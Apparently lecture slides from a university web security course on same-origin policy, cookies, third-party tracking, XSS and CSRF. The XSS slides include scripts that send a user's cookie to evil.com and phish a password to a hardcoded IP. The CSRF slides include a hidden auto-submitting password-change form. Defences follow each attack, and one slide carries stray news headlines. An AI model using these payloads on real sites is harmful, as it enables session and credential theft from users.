Web Security
Outline

- Brower and Same-origin policy (SOP)
- Web Code, cookies
- Cross-site Scripting (XSS)
- Cross-site Request Forgery (XSRF)
- HTTP Hijacking
Web and Browser
What is the Web?

- A platform for deploying applications, *portably and securely*
**HTML**

- Hypertext markup language (HTML)
  - Describes the content and formatting of Web pages
  - Rendered within browser window
- HTML features
  - Static document description language
  - Supports linking to other pages and embedding images by reference
  - User input sent to server via forms
  - Embedding programs in supported languages (e.g., JavaScript, Java) provides dynamic content that interacts with the user
HTTP protocol

- Hypertext Transfer Protocol
  - widely used
  - Simple
  - Stateless
  - Unencrypted
**URLs**

- Global identifiers of network-retrievable documents

- Example:

  $http://vt.edu:81/class?name=cs4264#homework$
What Drives Trump? Fear of Losing Status, Tapes Show

By MICHAEL BARBARO 11:05 AM ET

• Over five hours of interviews obtained by The Times reveal a powerful motivating force: Donald J. Trump's deep-seated fear of public embarrassment.

Linsanity reverberates today. We look back on it — the good, the bad and the gaffes — on the eve of Jeremy Lin's return to New York as a member of the Nets.
The dynamic web
Dynamic Web Pages

- Rather than static HTML, web pages can be expressed as a program, say written in Javascript:

```html
<title>Javascript demo page</title>

<font size=30>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ", a+b, "</b>");
</script>
```
JavaScript

- Powerful web page *programming language*
- Scripts are embedded in web pages returned by web server
- Scripts are *executed* by browser (client side scripting). Can:
  - Alter page contents
  - Track events (mouse clicks, motion, keystrokes)
  - Read/set cookies
  - Issue web requests, read replies

(Note: despite name, has nothing to do with Java!)
JavaScript

- Code enclosed within `<script> ... </script>` tags

- Defining functions:
  ```javascript
  <script type="text/javascript">
  function hello() { alert("Hello world!"); }
  </script>
  ```

- Built-in functions can change content of window: **Click-jacking attack**
  ```html
  ```
Web security overview
Security on the web

- **Integrity**
  - malicious web sites should not be able to tamper with integrity of my computer or my information on other web sites

- **Confidentiality**
  - malicious web sites should not be able to learn confidential information from my computer or other web sites

- **Privacy**
  - malicious web sites should not be able to spy on me or my activities online
Security on the web

- Risk #1: websites should not access files/programs on my PC
  - Browsing to awesomevids.com (or evil.com) should not infect my computer with malware, read or write files on my computer, etc.

- Defenses:
  - Javascript is sandboxed;
  - try to avoid security bugs in browser code;
  - privilege separation;
  - automatic updates
Security on the web

- Risk #2: websites should not spy on or tamper with my information or interactions with other websites
  - Browsing to evil.com should not let evil.com spy on my emails in Gmail or buy stuff with my Amazon account

- Defense: the same-origin policy
  - A security policy grafted on after-the-fact, and enforced by web browsers
  - Intuition: each web site is isolated from all others
Security on the web

- Risk #3: we want data stored on a web server to be protected from unauthorized access
- Defense: server-side security
Same-origin policy (SOP)

Isolation, isolation, and isolation

- SOP is a sandbox model: only the site that stores the information in the browser can read or modify that information.

- An untrusted page cannot corrupt the user’s actions at other sites, nor can it issue transactions on behalf of the user.

- Applies to cookies, JavaScript access to DOMs, and plugins.
  - Cookies: cookie from origin A not visible to origin B.
  - DOM: script from origin A cannot read or set properties for origin B.
Confining the Power of JavaScript Scripts

- Given all that power, browsers need to make sure JS scripts don’t abuse it

- For example, don’t want a script sent from hackerz.com web server to read cookies belonging to bank.com...
- ... or alter layout of a bank.com web page
- ... or read keystrokes typed by user while focus is on a bank.com page!
Same-origin policy

- Can access each other's data/methods, because they reside on the same domain.
- Cannot access each other's data/methods, because it violates same domain origin policy.
Same-Origin Examples

- **Origin**: protocol, hostname, port, **but not path**

- **Same Origin**
  - http://www.example.org/here
  - http://www.example.org/there
  - same protocol: http, host: example, default port 80

- **How about these?**
  - http://www.example.org/here
  - https://www.example.org/there
  - http://www.example.org:8080/hello
  - http://www.hacker.org/you
More on same origin policy

Origin comparisons with `http://store.company.com/dir/page.html`

<table>
<thead>
<tr>
<th>URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>http://store.company.com/dir2/other.html</code></td>
<td>Success</td>
<td>-</td>
</tr>
<tr>
<td><code>http://store.company.com/dir/inner/another.html</code></td>
<td>Success</td>
<td>-</td>
</tr>
<tr>
<td><code>https://store.company.com/secure.html</code></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><code>http://store.company.com:81/dir/etc.html</code></td>
<td>Failure</td>
<td>Different port</td>
</tr>
<tr>
<td><code>http://news.company.com/dir/other.html</code></td>
<td>Failure</td>
<td>Different host</td>
</tr>
</tbody>
</table>
Cookies

- Cookies are a small bit of information stored on a computer associated with a specific server
  - When you access a website, it might store information as a cookie
  - Every time you visit that server, the cookie is re-sent to the server
  - Effectively used to hold state information over sessions
- Cookies can hold any type of (sensitive) information
  - Passwords, credit card information, social security number, etc.
  - Session cookies, non-persistent cookies, persistent cookies
More on Cookies

- Cookies are stored on your computer and can be controlled
  - Many sites require that you enable cookies in order to use the site
  - Their storage on your computer naturally lends itself to exploits
  - You can (and probably should) clear your cookies on a regular basis

- Cookies expire
  - The expiration is set by the sites’ session by default, which is chosen by the server (e.g., Jan. 1, 2036)
  - This means that cookies will probably stick around for a while
Taking Care of Your Cookies

- Managing your cookies in Chrome:
  - chrome://settings/content/cookies
Tracking: 3rd-party Cookies
When you visit this site, the following sites are informed:

- www.google.com
- gstatic.com
- typekit.net
- newrelic.com
- google syndication.com
- doubleclick.net
- moatads.com
- krxd.net
- chartbeat.com
- scorecardresearch.com
- im worldwide.com
- nr-data.net
- ru4.com
- twitter.com
- rcdn.com
- chartbeat.net
- adadvisor.net
- adnxs.com
- ixiaa.com
- agkn.com
- wsi.net
- media.net
- peer39.net
- clickability.com
- tigcdn.com
- akamaiy.net
- dowJoneson.com
- dl-rms.com
- postrelease.com
- facebook.net
- cxense.com
- bluekai.com
- facebook.com
- mnet-ad.net
- sojern.com
- ns-cdn.com
- netmg.com
User Tracking by Third-Parities

- Example of tracking
  - User visits website A.com, where B.com is a third-party tracker
  - Later, user visits C.com, where B.com is also a tracker → user got re-identified
**Persistent User Tracking**

- Tracking users **over time**, even after users clean cookies
- Tracking (sharing) users **across trackers**

- Tracking users over time
  - Canvas fingerprinting
  - Ever cookie (flash cookies)
- Cookie syncing: different trackers share user identifiers
1. Canvas Fingerprinting

- Tracker seeks to uniquely identify a user/browser
  - Let the browser render some text (can be invisible to users)
  - Generate browser signatures based on text rendering

Very subtle differences for different browsers:
- Operating system
- Font library
- Graphics card
- Graphics driver
- Browser implementation
- ...

Quick result: 5542 domains out of top Alexa 100,000 have implemented canvas fingerprinting
2. Cookie Syncing

- Trackers: recover the full browsing history of a user
  - Each tracker only has partial knowledge about a user
  - To sync data, different trackers need to link the same user

- Cookie syncing: exchange userIDs

```plaintext
User's Browser
GET: A.com
Cookie: {userID=1234}
Redirect: B.com?from=A&userid=1234
GET: B.com?from=A.com&userid=1234
Cookie: {userID=xyz}

A.com

Data syncing in the backend is difficult to measure

B.com
User xyz is known as 1234 to A.com
```
XSS

- Cross-site scripting
**Cross-site Scripting**

- **Problem:** Lack of input sanitization on a trusted website

- **Attack:** attacker submits code as data to a trusted website; later, the trusted website serves that malicious script to users

- **Outcome:** allows the attacker to have their scripts run as if they were a part of the trusted site
Cross-site Scripting

- **Problem:** Lack of input sanitization on a trusted website

- **Attack:** attacker submits code as data to a trusted website; later, the trusted website serves that malicious script to users

- **Outcome:** allows the attacker to have their scripts run as if they were a part of the trusted site

**XSS adds malicious content to the pages a trusted website serves**
**XSS: inject malicious JavaScript to a site**

Suppose `www.victim.com` runs a forum service that takes comments from visitors and displays them

- Input is not sanitized
- An attacker injects script that will be executed by **other users**
- E.g., instead of entering name, attacker enters

```html
<script language="Javascript">var password=prompt
(ʻYour session has expired. Please enter your password to continue.`,``);
Location.href="https://10.1.1.1/pass.cgi?passwd=“+password;</script>
```
Another XSS example

Imagine a vulnerable search website. Consider this link:

```html
<script>
window.open("http://evil.com?cookie = " +
document.cookie ) </script>
```

What if user clicks on this link (in a phishing email)?

1. Browser goes to victim.com/search.php
2. Victim.com returns `<HTML> Results for <script> … </script>`
3. Browser executes script, sends `evil.com` the user's cookie associated with victim.com

In XSS, why same origin policy cannot prevent attacker’s script from accessing legitimate domains’ cookies?
XSS preventions

Sanitize inputs to not allow scripts – IMPORTANT!

HTTP only cookies

- Cookies that can only be used in HTTP/HTTPS requests
- Not accessible by JavaScript via document.cookie
Cross-site Request Forgery
**Cross-site Request Forgery**

- **Problem:** cookies enable persistent interactions with websites—-even after you leave them

- **Attack:** malicious websites get you to perform an operation on a secure site---that you have a login cookie for, without your approval
**XSRF: confused about the source of the request**

- **XSRF**: Cross-site request forgery

- Consider the following common scenario:
  - Alice visits a [bank.com](http://bank.com), authentication credentials stored
  - 30 minutes later, she accidentally visits a hacker’s site

- **Attack**: malicious site can initiate requests to the bank on Alice’s behalf
  - e.g., attacker may transfer money from from Alice’s bank account

- **Cause**: cached credentials is used regardless of who made the request
Cross-site Request Forgery (CSRF)

- Suppose you log in to bank.com

```
POST /login?user=bob&pass=abc123 HTTP/1.1
Host: bank.com

HTTP/1.1 200 OK
Set-Cookie: login=fde874
...

fde874 = bob
```
**Cross-site Request Forgery (CSRF)**

- Suppose you log in to bank.com

```
GET /account HTTP/1.1
Host: bank.com
Cookie: login=fde874
```

```
HTTP/1.1 200 OK
....
$378.42
```
Cross-site Request Forgery (CSRF)

Click me!!!
http://bank.com/transfer?to=attacker&amt=100

GET /transfer?to=badguy&amt=100 HTTP/1.1
Host: bank.com
Cookie: login=fde874

HTTP/1.1 200 OK
...
Transfer complete: -$100.00

fde874 = bob

bank.com
1. Victim has a valid session with bank.com

2. Attacker’s malicious form

3. User is tricked into submitting the form

4. Browser automatically attaches session-id

5. Money is transferred to attacker

---

C. Jackson
A XSRF Example on reset passwd

1. Alice has a valid session with www.mywwwservice.com
2. Alice’s browser loads page from www.hacker.com
3. Evil Script runs causing evilform to be submitted with a password-change request to www.mywwwservice.com

```html
<form method="POST" name="evilform" target="hiddenframe"
action="https://www.mywwwservice.com/update_profile">
  <input type="hidden" id="password" value="evilhax0r">
</form>
<iframe name="hiddenframe" style="display: none"> </iframe>
<script>document.evilform.submit();</script>
```

4. Browser automatically sends authentication cookies (e.g., session-id, secret keys) along with the request. Alice’s password is changed to evilhax0r!
**XSRF Solutions:**

- Short-lived credentials
- Delete cookies after transaction
- Add “referer” field to HTTP requests
  - Forging referrer may defeat this detection
- Add a unique identifier (token) to a form
  - To prevent forms being forged by attackers
  - Think step-by-step how this works!

**Things that do NOT work**

- Use secret cookies
- Use secret session IDs
- Only accept POST requests
- Only accept GET requests
Anti-XCSF Token (a server-side XSRF prevention)

```html
<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...
wYzU1YWQwMTlhM2JmNGYxYjIiMGI4MjJjZDE1ZDZ...
MGYwMGEwOA=="> ...
</form>
```

- Token generation needs to be:
  - Un-guessable
  - Prevent replay
  - Support multiple forms
  - Easy to verify

https://www.owasp.org/index.php/